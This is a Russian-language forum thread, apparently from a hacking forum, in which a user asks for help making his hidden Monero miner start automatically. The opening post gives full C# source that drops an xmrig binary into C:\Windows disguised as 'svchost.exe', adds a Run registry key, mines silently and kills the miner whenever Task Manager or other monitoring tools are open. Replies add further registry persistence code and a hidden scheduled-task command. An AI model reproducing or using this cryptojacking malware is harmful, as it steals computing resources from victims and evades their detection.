Загрузка...

Help with autoloading in C#

Thread in C# created by X159AM777 Sep 8, 2018. 437 views

  1. X159AM777
    X159AM777 Topic starter Sep 8, 2018 54 Apr 20, 2018
    Пишу майнер по этой теме: https://zelenka.guru/threads/364206/
    У меня не работает автозагрузка. Помогите.
    Вот код.

    Code
    using Microsoft.Win32;
    using System.Diagnostics;
    using System.IO;
    using System.Reflection;
    using System.Threading;

    namespace instail
    {
    class Program
    {

    static string direct = @"C:\Windows"; //Путь к папке, где будут храниться все файлы
    static string _filename = "svchost"; //Название майнера
    static string proc = "20";//нагрузка на CPU
    static string pool = "stratum+tcp://xmr.pool.minergate.com:45560"; // Pool
    static string user = "яяя"; //User




    static string filename = _filename + ".exe";
    static string exeToRun = direct + @"\" + filename;
    const string name = "HdDriver";

    static string ExePath = "";

    static void Main(string[] args)
    {



    Install(); //Копируем файлы Майнера в папку
    CopyFile(); //Копируем файлы бота в папку
    SetAutorunValue(true);//Делаем автозапуск (взяв з https://zelenka.guru/threads/345524/)
    StartMine(); //Запускаем майнер
    while (true) //Мониторим процессы, если диспетчер задач открытый закрываем майнер
    {
    int con = 0;
    Process[] procs = Process.GetProcesses();
    foreach (Process p in procs)
    {
    if ((p.ProcessName == "taskmgr")
    || (p.ProcessName == "Taskmgr")
    || (p.ProcessName == "ProcessHacker")
    || (p.ProcessName == "Procexp")
    || (p.ProcessName == "Procexp32")
    || (p.ProcessName == "Procexp64")
    || (p.ProcessName == "Resmon")
    || (p.ProcessName == "Autoruns")
    || (p.ProcessName == "Procmon"))
    {
    Process[] miner = Process.GetProcessesByName(_filename);
    if (miner.Length > 0)
    {
    miner[0].Kill();

    }



    con++;

    }



    }
    if (con == 0)
    {
    Process[] miner1 = Process.GetProcessesByName(_filename);
    if (miner1.Length == 0)
    {
    StartMine();
    }
    }
    Thread.Sleep(500);
    }




    }
    private static void StartMine()
    {
    Process run = new Process();
    run.StartInfo.Arguments = $" --max-cpu-usage={proc} --donate-level=1 -o {pool} -u {user} ";
    run.StartInfo.FileName = exeToRun;
    run.StartInfo.RedirectStandardOutput = true;
    run.StartInfo.UseShellExecute = false;
    run.StartInfo.CreateNoWindow = true;
    run.Start();


    }
    public static void CopyFile()
    {
    if (!File.Exists(direct + @"\" + "svhost.exe"))
    {
    string filePath = Assembly.GetExecutingAssembly().Location;
    File.Copy(filePath, direct + @"\" + "svhost.exe");
    }
    }
    public static bool SetAutorunValue(bool autorun)
    {
    const string name = "systems";
    string ExePath = direct + @"\" + "svhost.exe";
    RegistryKey reg;

    reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
    try
    {
    if (autorun)
    reg.SetValue(name, ExePath);
    else
    reg.DeleteValue(name);
    reg.Flush();
    reg.Close();
    }
    catch
    {
    return false;
    }
    return true;
    }

    private static void Install()
    {
    byte[] exeBytes = EzMoney.Properties.Resources.xmrigxxx;



    if (!Directory.Exists(direct))
    {
    Directory.CreateDirectory(direct);

    }
    if (!File.Exists(exeToRun))
    {
    using (FileStream exeFile = new FileStream(exeToRun, FileMode.Create))
    {
    exeFile.Write(exeBytes, 0, exeBytes.Length);
    }
    }

    }
    }
    }
     
  2. DildoBeggins
    DildoBeggins Sep 8, 2018 Banned 39 Jan 2, 2018
    Code
    using Microsoft.Win32;
    const string name = "MyTestApplication";
    public bool SetAutorunValue(bool autorun)
    {
    string ExePath = System.Windows.Forms.Application.ExecutablePath;
    RegistryKey reg;
    reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
    try
    {
    if (autorun)
    reg.SetValue(name, ExePath);
    else
    reg.DeleteValue(name);

    reg.Close();
    }
    catch
    {
    return false;
    }
    return true;
    }
     
  3. X159AM777
    X159AM777 Topic starter Sep 8, 2018 54 Apr 20, 2018
    не работает
     
  4. DildoBeggins
    DildoBeggins Sep 8, 2018 Banned 39 Jan 2, 2018
    Обязан работать
     
  5. X159AM777
    X159AM777 Topic starter Sep 8, 2018 54 Apr 20, 2018
    сейчас
     
  6. X159AM777
    X159AM777 Topic starter Sep 8, 2018 54 Apr 20, 2018
    его откуда до куда вставить
     
  7. DildoBeggins
    DildoBeggins Sep 8, 2018 Banned 39 Jan 2, 2018

    потом код куда нибудь
     
  8. X159AM777
    X159AM777 Topic starter Sep 8, 2018 54 Apr 20, 2018
  9. DildoBeggins
    DildoBeggins Sep 8, 2018 Banned 39 Jan 2, 2018
  10. X159AM777
    X159AM777 Topic starter Sep 8, 2018 54 Apr 20, 2018
    Я не хочу умирац без деняк:roflanpominki::roflanpominki::roflanpominki:
     
  11. HunterCoder
    HunterCoder Sep 10, 2018 Banned 115 Jul 10, 2018
    Code

    public void Planirovshik()
    {
    try
    {
    Process autorun = new Process
    {
    StartInfo = new ProcessStartInfo
    ("cmd", $"/C schtasks /create /tn \\"+"Название в планировщике"+" /tr " + "Путь до файла вплодь до exe" + " /st 00:00 /du 9999:59 /sc once /ri 1 /f")
    };
    autorun.StartInfo.CreateNoWindow = true;
    autorun.StartInfo.UseShellExecute = false;
    autorun.Start();
    }
    catch { }
    }

    Использование:
    Planirovshik();
     
Top
Loading...